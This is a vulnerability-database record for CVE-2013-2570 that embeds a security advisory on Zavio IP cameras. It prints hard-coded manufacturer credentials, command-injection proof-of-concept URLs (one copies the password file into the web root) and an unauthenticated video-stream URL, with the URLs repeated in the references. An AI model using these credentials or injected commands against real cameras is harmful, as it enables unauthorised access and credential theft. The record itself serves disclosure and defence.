ID

VAR-202001-0852


CVE

CVE-2013-2570


TITLE

Zavio IP  In the camera  OS  Command injection vulnerability

Trust: 0.8

sources: JVNDB: JVNDB-2013-007110

DESCRIPTION

A Command Injection vulnerability exists in Zavio IP Cameras through 1.6.3 in the General.Time.NTP.Server parameter to the sub_C8C8 function of the binary /opt/cgi/view/param, which could let a remove malicious user execute arbitrary code. Zavio IP The camera has OS A command injection vulnerability exists.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. Zavio IP Cameras are prone to a command-injection vulnerability. Exploiting this issue could allow an attacker to execute arbitrary commands in the context of the affected device. Zavio IP Cameras running firmware version 1.6.03 and below are vulnerable. *Advisory Information* Title: Zavio IP Cameras multiple vulnerabilities Advisory ID: CORE-2013-0302 Advisory URL: http://www.coresecurity.com/advisories/zavio-IP-cameras-multiple-vulnerabilities Date published: 2013-05-28 Date of last update: 2013-05-28 Vendors contacted: Zavio Release mode: User release 2. *Vulnerability Information* Class: Use of hard-coded credentials [CWE-798], OS command injection [CWE-78], Incorrect default permissions [CWE-276], OS command injection [CWE-78] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-2567, CVE-2013-2568, CVE-2013-2569, CVE-2013-2570 3. *Vulnerability Description* Multiple vulnerabilities have been found in Zavio IP cameras based on firmware v1.6.03 and below, that could allow an unauthenticated remote attacker: 1. [CVE-2013-2567] to bypass user web interface authentication using hard-coded credentials. 2. This flaw can also be used to obtain all credentials of registered users. 3. [CVE-2013-2569] to access the camera video stream. 4. 4. *Vulnerable Packages* . 5. *Non-Vulnerable Packages* . Vendor did not provide details. Contact Zavio for further information. 6. *Vendor Information, Solutions and Workarounds* There was no official answer from Zavio after several attempts to report these vulnerabilities (see [Sec. 9]). Contact vendor for further information. Some mitigation actions may be: . Do not expose the camera to Internet unless absolutely necessary. Enable RTSP authentication. Have at least one proxy filtering HTTP requests to 'manufacture.cgi' and 'wireless_mft.cgi'. Check the parameter 'General.Time.NTP.Server' in requests to '/opt/cgi/view/param'. 7. *Credits* These vulnerabilities were discovered and researched by Nahuel Riva and Francisco Falcon from Core Exploit Writers Team. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team. 8. *Technical Description / Proof of Concept Code* 8.1. *Hard-Coded Credentials in Administrative Web Interface* [CVE-2013-2567] Zavio IP cameras use the Boa web server [3], a popular tiny server for embedded Linux devices. 'boa.conf' is the Boa configuration file, and the following account can be found inside: /----- # MFT: Specify manufacture commands user name and password MFT manufacture erutcafunam -----/ This account is not visible from the user web interface; users are not aware of the existence and cannot eliminate it. Through this account it is possible to access two CGI files located in '/cgi-bin/mft/': 1. 'manufacture.cgi' 2. 'wireless_mft.cgi' The last file contains the OS command injection showed in the following section. 8.2. *OS Command Injection* [CVE-2013-2568] The file '/cgi-bin/mft/wireless_mft.cgi', has an OS command injection in the parameter 'ap' that can be exploited using the hard-coded credentials showed in the previous section: /----- username: manufacture password: erutcafunam -----/ The following proof of concept copies the file where the user credentials are stored in the web server root directory: /----- http://192.168.1.100/cgi-bin/mft/wireless_mft?ap=travesti;cp%20/var/www/secret.passwd%20/web/html/credenciales -----/ Afterwards, the user credentials can be obtained by requesting: /----- http://192.168.1.100/credenciales -----/ 8.3. *RTSP Authentication Disabled by Default* [CVE-2013-2569] The RTSP protocol authentication is disabled by default. Therefore, the live video stream can be accessed by a remote unauthenticated attacker by requesting: /----- rtsp://192.168.1.100/video.h264 -----/ 8.4. *OS Command Injection (Post-auth)* [CVE-2013-2570] The command injection is located in the function 'sub_C8C8' of the binary '/opt/cgi/view/param'. The vulnerable parameter is 'General.Time.NTP.Server'. The following proof of concept can be used to obtain the complete list of access points by executing '/sbin/awpriv ra0 get_site_survey': /----- http://192.168.1.100/cgi-bin/admin/param?action=update&General.Time.DateFormat=ymd&General.Time.SyncSource=NTP&General.Time.TimeZone=GMT-06:00/America/Mexico_City&General.Time.NTP.ServerAuto=no&General.Time.NTP.Server=sarasa!de!palermo;/sbin/awpriv%20ra0%20get_site_survey;&General.Time.NTP.Update=01:00:00&General.Time.DayLightSaving.Enabled=on&General.Time.DayLightSaving.Start.Type=date&General.Time.DayLightSaving.Stop.Type=date&General.Time.DayLightSaving.Start.Month=01&General.Time.DayLightSaving.Stop.Month=01&General.Time.DayLightSaving.Start.Week=1&General.Time.DayLightSaving.Stop.Week=1&General.Time.DayLightSaving.Start.Day=01&General.Time.DayLightSaving.Stop.Day=01&General.Time.DayLightSaving.Start.Date=01&General.Time.DayLightSaving.Stop.Date=01&General.Time.DayLightSaving.Start.Hour=00&General.Time.DayLightSaving.Stop.Hour=00&General.Time.DayLightSaving.Start.Min=00&General.Time.DayLightSaving.Stop.Min=00&Image.OSD.Enabled=off -----/ 9. *Report Timeline* . 2013-03-19: Core Security Technologies notifies the Zavio Tech Support and requests a security manager to send a draft report regarding these vulnerabilities. No reply received. 2013-05-02: Core asks Zavio Tech Support for a security manager to send a confidential report. 2013-05-09: Core asks for a reply. 2013-05-14: Core asks for a reply. 2013-05-21: Core tries to contact vendor for last time without any reply. 2013-05-28: After 5 failed attempts to report the issues, the advisory CORE-2013-0302 is published as 'user-release'. 10. *References* [1] http://www.zavio.com/product.php?id=25. [2] http://zavio.com/product.php?id=23. [3] http://www.boa.org/. 11. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 12. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 13. *Disclaimer* The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 14. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

Trust: 2.52

sources: NVD: CVE-2013-2570 // JVNDB: JVNDB-2013-007110 // CNVD: CNVD-2013-06331 // BID: 60188 // PACKETSTORM: 121783

IOT TAXONOMY

category:['Network device']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2013-06331

AFFECTED PRODUCTS

vendor:zaviomodel:f312ascope:lteversion:1.6.03

Trust: 1.0

vendor:zaviomodel:f3105scope:lteversion:1.6.03

Trust: 1.0

vendor:zaviomodel:f3105scope: - version: -

Trust: 0.8

vendor:zaviomodel:f312ascope: - version: -

Trust: 0.8

vendor:zaviomodel:ip camerasscope:lteversion:<=1.6.03

Trust: 0.6

sources: CNVD: CNVD-2013-06331 // JVNDB: JVNDB-2013-007110 // NVD: CVE-2013-2570

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2013-2570
value: CRITICAL

Trust: 1.0

NVD: CVE-2013-2570
value: CRITICAL

Trust: 0.8

CNVD: CNVD-2013-06331
value: MEDIUM

Trust: 0.6

CNNVD: CNNVD-201305-599
value: CRITICAL

Trust: 0.6

nvd@nist.gov: CVE-2013-2570
severity: HIGH
baseScore: 7.5
vectorString: AV:N/AC:L/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 10.0
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

CNVD: CNVD-2013-06331
severity: MEDIUM
baseScore: 5.0
vectorString: AV:N/AC:L/AU:N/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 10.0
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

nvd@nist.gov: CVE-2013-2570
baseSeverity: CRITICAL
baseScore: 9.8
vectorString: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: 3.9
impactScore: 5.9
version: 3.1

Trust: 1.0

NVD: CVE-2013-2570
baseSeverity: CRITICAL
baseScore: 9.8
vectorString: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: NONE
impactScore: NONE
version: 3.0

Trust: 0.8

sources: CNVD: CNVD-2013-06331 // JVNDB: JVNDB-2013-007110 // CNNVD: CNNVD-201305-599 // NVD: CVE-2013-2570

PROBLEMTYPE DATA

problemtype:CWE-78

Trust: 1.0

problemtype:OS Command injection (CWE-78) [NVD Evaluation ]

Trust: 0.8

sources: JVNDB: JVNDB-2013-007110 // NVD: CVE-2013-2570

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201305-599

TYPE

operating system commend injection

Trust: 0.6

sources: CNNVD: CNNVD-201305-599

PATCH

title:Top Pageurl:http://www.zavio.com/

Trust: 0.8

sources: JVNDB: JVNDB-2013-007110

EXTERNAL IDS

db:NVDid:CVE-2013-2570

Trust: 3.4

db:BIDid:60188

Trust: 1.9

db:JVNDBid:JVNDB-2013-007110

Trust: 0.8

db:CNVDid:CNVD-2013-06331

Trust: 0.6

db:CNNVDid:CNNVD-201305-599

Trust: 0.6

db:PACKETSTORMid:121783

Trust: 0.1

sources: CNVD: CNVD-2013-06331 // BID: 60188 // JVNDB: JVNDB-2013-007110 // PACKETSTORM: 121783 // CNNVD: CNNVD-201305-599 // NVD: CVE-2013-2570

REFERENCES

url:https://www.coresecurity.com/advisories/zavio-ip-cameras-multiple-vulnerabilities

Trust: 2.5

url:https://packetstormsecurity.com/files/cve/cve-2013-2570

Trust: 1.6

url:https://exchange.xforce.ibmcloud.com/vulnerabilities/84567

Trust: 1.6

url:http://www.securityfocus.com/bid/60188

Trust: 1.6

url:https://nvd.nist.gov/vuln/detail/cve-2013-2570

Trust: 1.5

url:http://www.coresecurity.com/advisories/zavio-ip-cameras-multiple-vulnerabilities#camera

Trust: 0.6

url:http://zavio.com/product.php?id=23.

Trust: 0.1

url:http://corelabs.coresecurity.com.

Trust: 0.1

url:http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

Trust: 0.1

url:http://www.zavio.com/product.php?id=25.

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2013-2567

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2013-2569

Trust: 0.1

url:http://www.coresecurity.com.

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2013-2568

Trust: 0.1

url:http://www.boa.org/.

Trust: 0.1

url:http://corelabs.coresecurity.com

Trust: 0.1

url:http://192.168.1.100/cgi-bin/mft/wireless_mft?ap=travesti;cp%20/var/www/secret.passwd%20/web/html/credenciales

Trust: 0.1

url:http://creativecommons.org/licenses/by-nc-sa/3.0/us/

Trust: 0.1

url:http://192.168.1.100/credenciales

Trust: 0.1

url:http://192.168.1.100/cgi-bin/admin/param?action=update&general.time.dateformat=ymd&general.time.syncsource=ntp&general.time.timezone=gmt-06:00/america/mexico_city&general.time.ntp.serverauto=no&general.time.ntp.server=sarasa!de!palermo;/sbin/awpriv%20ra0%20get_site_survey;&general.time.ntp.update=01:00:00&general.time.daylightsaving.enabled=on&general.time.daylightsaving.start.type=date&general.time.daylightsaving.stop.type=date&general.time.daylightsaving.start.month=01&general.time.daylightsaving.stop.month=01&general.time.daylightsaving.start.week=1&general.time.daylightsaving.stop.week=1&general.time.daylightsaving.start.day=01&general.time.daylightsaving.stop.day=01&general.time.daylightsaving.start.date=01&general.time.daylightsaving.stop.date=01&general.time.daylightsaving.start.hour=00&general.time.daylightsaving.stop.hour=00&general.time.daylightsaving.start.min=00&general.time.daylightsaving.stop.min=00&image.osd.enabled=off

Trust: 0.1

sources: CNVD: CNVD-2013-06331 // JVNDB: JVNDB-2013-007110 // PACKETSTORM: 121783 // CNNVD: CNNVD-201305-599 // NVD: CVE-2013-2570

CREDITS

Nahuel Riva and Francisco Falcon from Core Exploit Writers Team

Trust: 0.9

sources: BID: 60188 // CNNVD: CNNVD-201305-599

SOURCES

db:CNVDid:CNVD-2013-06331
db:BIDid:60188
db:JVNDBid:JVNDB-2013-007110
db:PACKETSTORMid:121783
db:CNNVDid:CNNVD-201305-599
db:NVDid:CVE-2013-2570

LAST UPDATE DATE

2024-08-14T13:54:57.738000+00:00


SOURCES UPDATE DATE

db:CNVDid:CNVD-2013-06331date:2013-05-30T00:00:00
db:BIDid:60188date:2013-12-02T00:28:00
db:JVNDBid:JVNDB-2013-007110date:2020-02-13T00:00:00
db:CNNVDid:CNNVD-201305-599date:2020-05-26T00:00:00
db:NVDid:CVE-2013-2570date:2020-02-01T18:18:24.233

SOURCES RELEASE DATE

db:CNVDid:CNVD-2013-06331date:2013-05-30T00:00:00
db:BIDid:60188date:2013-05-28T00:00:00
db:JVNDBid:JVNDB-2013-007110date:2020-02-13T00:00:00
db:PACKETSTORMid:121783date:2013-05-28T13:33:33
db:CNNVDid:CNNVD-201305-599date:2013-05-29T00:00:00
db:NVDid:CVE-2013-2570date:2020-01-29T18:15:11.937